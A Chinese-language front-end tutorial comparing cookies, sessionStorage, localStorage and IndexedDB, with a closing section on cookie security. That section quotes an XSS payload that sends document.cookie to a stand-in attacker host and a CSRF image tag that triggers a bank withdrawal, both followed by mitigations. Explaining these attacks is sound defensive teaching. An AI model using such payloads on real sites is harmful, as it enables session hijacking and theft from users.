前端数据管理分为:离线缓存和浏览器数据存储。它是HTML5更新的特性。今天主要研究一下前端数据存储的几种方式:Cookie、sessionStorage、localstorage。IndexDB是一种前端类似SQL数据库的结构化数据存储机制,暂不在今天的研究范畴内。

数据存储

作为一名前端开发,在实现业务的过程中,不可避免的需要存储一些数据,尤其是做移动端应用时。下面先通过表格来对比一下前端数据存储的相同和不同之处:

Cookie会话 Cookie持久 SessionStorage LocalStorage IndexDB
存储大小 4-5k 4-5k 4-5M 4-5M >250M
失效时间 浏览器关闭自动清除 可设置有效期,到期后自动清除 窗口关闭自动清除 永久保存,可手动清除 可手动删除
服务端通信携带 ✔️ ✔️
同源策略下访问 ✔️ ✔️ ✔️ ✔️
使用场景 验证用户信息、权限 验证用户信息、权限 数据存储 数据存储 类SQL数据库

Cookie

在JavaScript高级程序设计中这样定义:HTTP Cookie,通常直接叫做cookie,最初是在客户端用于存储会话信息的。该标准要求服务器对任意HTTP请求发送Set-Cookie HTTP头作为响应的一部分,其中包含会话信息。例如,这种服务器响应头可能如下:

  1. HTTP/1.1 200 OK
  2. Content-type:text/html
  3. Set-Cookie:name=value
  4. Other-header:other-header-value

按照存在时间可将Cookie分为会话期Cookie持久型Cookie,按照存储位置可将Cookie分为内存Cookie硬盘Cookie。会话期的Cookie是存储在内存中,如果给它设置了到期日期,那么它就会存储在硬盘中。

限制

Cookie在性质上是绑定在特性的域名下的。这个限制确保了存储在Cookie中的信息只能在符合同源策略的访问者进行访问。所有相同域名发送请求是都会包含这个cookie,每个域的Cookie总数是有限制的,不同的浏览器之间各有不同。当超过单个域名显示之后再设置Cookie,浏览器就会清除之前设置的Cookie。浏览器中对cookie的大小也有限制,大多数浏览大约是4K

构成

  1. 名称:一个唯一确定cookie的值
  2. :存储在cookie中的字符串值,值必须被URL编码
  3. :cookie对于哪个域有效,必须是符合同源策略的才能访问
  4. 路径:对于指定域中的那个路径,应该向服务器发送cookie
  5. 失效日期:表示cookie何时应该被删除的时间戳
  6. 安全标志:指定后,cookie只有在使用SSL连接的时候才能发送到服务器

使用

在JavaScript中处理cookie有些复杂,因为其众所周知的蹩脚的接口,即BOM的document.cookie属性。这个属性的独特之处在于他会因为使用他的方式不同而表现出不同的行为。所有的名字和值都是经过URL编码的,所以必须使用decodeURIComponent()来编码。

  1. // 简单的设置cookie 会自动拼接到cookie的后边,以分号隔开
  2. document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Guohh")
  3. // 获取cookie
  4. document.cookie // 可获取到所有的cookie 如需获取单独的内容 可通过字符串截取等方式获取

Cookie主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其他需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

由于JavaScript中读写cookie不是非常直观,常常需要写一些函数来简化cookie功能。基本的cookie操作有三种:读取、写入和删除。具体代码参照《JavaScript高级程序设计》23.3.1章节。

思考

由于所有的cookie都会由浏览器作为请求头发送,所以在cookie中存储大量信息会影响到特定域的请求性能。cookie信息越大,完成度服务器请求的时间也就越长。尽管浏览器对cookie进行了大小的限制,不过最好还是尽可能在cookie中少存储信息,避免影响性能。

Cookie曾一度用于客户端数据的存储,因为当时并没有别的合适的存储方式,由于服务器指定Cookie后,浏览器的每次请求都会携带Cookie数据,会带来额外的心梗开销,尤其是在移动端。新的浏览器API已经允许开发者直接将数据存储到本地,如使用Web storeage API(本地存储和回话存储)

注意:一定不要在cookie中存储重要的、私密的、敏感的数据信息,cookie数据并非存储在一个安全的环境中,其中包含的任何数据都可以被他人访问。所以不要在cookie中存储诸如信用卡号或者个人地址之类的数据。有关前端数据存储的安全性文章的后面会有介绍。

Web存储机制

Ajax

ajax请求默认是会携带上同源的cookie,不会携带不同源的cookie。我们可以通过前端设置withCredentials为true,后端设置Header的方式让ajax自动带上不同源的cookie,但是这个属性对同源请求没有任何影响。

  1. $.ajax({
  2. type: 'post',
  3. url: '/person/detail',
  4. dataType: 'json',
  5. data: {
  6. id: 1
  7. },
  8. xhrFields: {
  9. // 如果是Cors解决的跨域,我们请求接口的域和我们页面所在域是不同域,所以需要添加这个属性值
  10. withCredentials: true
  11. },
  12. success: function (res) {},
  13. error: function(e) {}
  14. })

axios

fetch

Web存储机制是HTML5为我们提供的一个新的特性。Web storage的目的就是为克服cookie带来的一些限制,当数据需要被严格控制在客户端上时,它的两个主要目的是:

  • 提供一种在cookie之外存储会话数据的途径
  • 提供一种存储大量可以跨会话存在的数据的机制

storage

storage类型提供最大的存储空间来存储名值对儿。Storage的实例操作如下:

  • clear():删除所有值
  • getItem(name):根据指定的名字name获取对应的值
  • key(index):获取index位置处的值的名字
  • removeItem(name):删除由name指定的名值对儿
  • setItem(name,value):为指定的name设置一个对应的值

storage类型只能存储字符串。非字符串的数据在存储之前会被转换成字符串。

SessionStorage

SessionStorage对象存储特定于某个会话的数据,也就是该数据只保持到浏览器关闭。这个对象就像会话cookie,也会在浏览器关闭后消息。存储在sessionStorage中的数据可以跨越页面的刷新而存在,同时如果浏览器支持,浏览器崩溃并重启之后依然可用。

那么重点来了,什么时候能共享SessionStorage的数据?什么时候SessionStorage数据不会丢失?

  1. 遵循浏览器的同源策略,还必须是同一个会话,即使相同地址不同会话也不行
  2. 通过点击链接打开的新标签页之间是属于同一个session的,但新开一个标签页总是会初始化一个新的session,即使网站是一样的,它们也不属于同一个session
  3. 当通过当前会话跳转外链返回后,SessionStorage的数据是不会丢失的
  4. SessionStorage对象应该主要用于仅针对会话的小段数据的存储。如果需要跨会话存储数据,那么globalStorage或者localStorage更为合适

LocalStorage

localStorage对象在修订过的HTML5规范中作为持久保存客户端数据的方案取代了globalStorage。与globalStorage不同,不能给localStorage指定任何访问规则,规则事先就设定好了。要访问同一个localStorage对象,必须符合同源。

localStorage是storage的实例,所以可以使用它的操作方式。

安全性

这里主要是针对cookie的前端安全性来考虑的,Web storage主要是在相对应的场景来使用对应的storage对象就可以。

会话劫持和XSS

在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。

  1. (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造(CSRF)

维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:

  1. <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:

  • 对用户输入进行过滤来阻止XSS
  • 任何敏感操作都需要确认;
  • 用于敏感信息的Cookie只能拥有较短的生命周期;
  • 更多方法可以查看OWASP CSRF prevention cheat sheet_Prevention_Cheat_Sheet)。

参考资料

  1. 《JavaScript高级程序设计》
  2. MDN